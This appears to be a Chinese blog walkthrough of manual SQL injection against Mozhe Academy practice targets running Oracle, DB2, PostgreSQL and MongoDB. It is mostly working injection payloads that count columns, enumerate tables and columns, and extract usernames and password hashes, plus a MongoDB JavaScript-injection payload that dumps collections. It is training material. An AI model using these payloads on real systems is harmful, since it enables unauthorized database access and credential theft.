墨者学院sql手工注入靶场

Oracle数据库

点击该页面后发现有参数

判断注入

说明存在注入

通过order by来判断列数

1 order by 2 //页面正常,说明存在2列

1 order by 3 //页面错误,说明存在2列

判断回显位置

oracle数据库的语法不支持union select 只支持union select from 且不支持联合查询数字。

1 union select null,null from dual //页面正常,说明语法正确

1 union select 'null','null1' from dual //通过给null加单引号变成字符串来判断回显位置

判断数据库名称

1 union select (select instance_name from V$INSTANCE),'null' from dual

判断表的名称

1 union select (select table_name from user_tables where rownum=1),'null' from dual//第一个表  LOGMNR_SESSION_EVOLVE$  

1 union select (select table_name from user_tables where rownum=1 and table_name != 'LOGMNR_SESSION_EVOLVE$'),'null' from dual//让结果不等于第一个表,那么就能得出来第二个表LOGMNR_GLOBAL$  以此类推

判断列的名称

1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users'),'null' from dual // 查询sns_users表的第一个字段名称  USER_NAME  

1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name != 'USER_NAME'),'null' from dual // 查询sns_users表的第二个字段名称   USER_PWD

查询字段的值

1 union select USER_NAME,USER_PWD%20 from "sns_users" where rownum=1 //得到sns_users表中的第一条数据 zhong 1c63129ae9asc60asdua94d3e00495

1 union select USER_NAME,USER_PWD%20 from "sns_users" where rownum=1 and USER_NAME != 'zhong'//得到sns_users表中的第二条数据 hu 1c63129ae9db9g20asdua94d3e00495  以此类推,最终得到mozhe的密码

DB2数据库

操作基本一致------1 order by 4//页面正常

1 order by 5//页面出错,说明存在四列

判断回显位置

-1 union select 1,2,3,4 from syscat.tables

发现回显位置为2,3

判断数据库名称

-1 union select 1,current schema,3,4 from syscat.tables

判断表名称

-1 union select 1,tabname,3,4 from syscat.tables where tabschema=current schema limit 0,1

-1 union select 1,tabname,3,4 from syscat.tables where tabschema=current schema limit 1,1

判断字段名称

大致语法与上面相同

-1 union select 1,colname,3,4 from syscat.columns where tabschema=current schema and tabname='GAME_CHARACTER' limit 0,1 ---------将0换成1,2

得到id name password

查询字段值

-1 union select 1,PASSWORD,NAME,4 from GAME_CHARACTER limit 0,1 ---------将0换成1

得到name与id的具体值

PostgreSQL数据库

判断列数

order by 4   ---5

发现共四列

判断回显位置

union select null,null,null,null

查询表

-1 union select null,table_name,'null',null from information_schema.tables where table_schema='public' limit 1 offset 0

查询字段

-1 union select null,column_name,'null',null from information_schema.columns where table_schema='public' and table_name='reg_users' limit 1 offset 0 -------0换成1,2 分别得到id,name,password

查询值

-1 union select null,name,password,null from reg_users limit 1 offset 0 ------0换成1得到两组账户密码

MongoDB数据库

mangodb正常的查询语句为:db.notice.findOne({'id':'$id'});return data;

所以构造如下

1'});return ({'title':'1','content':'2//判断回显位置

1'});return ({'title':tojson(db),'content':'2 //查询数据库名称

1'});return ({'title':tojson(db.getCollectionNames()),'content':'2 //查询表名称

1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2 //查询表的字段的值

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值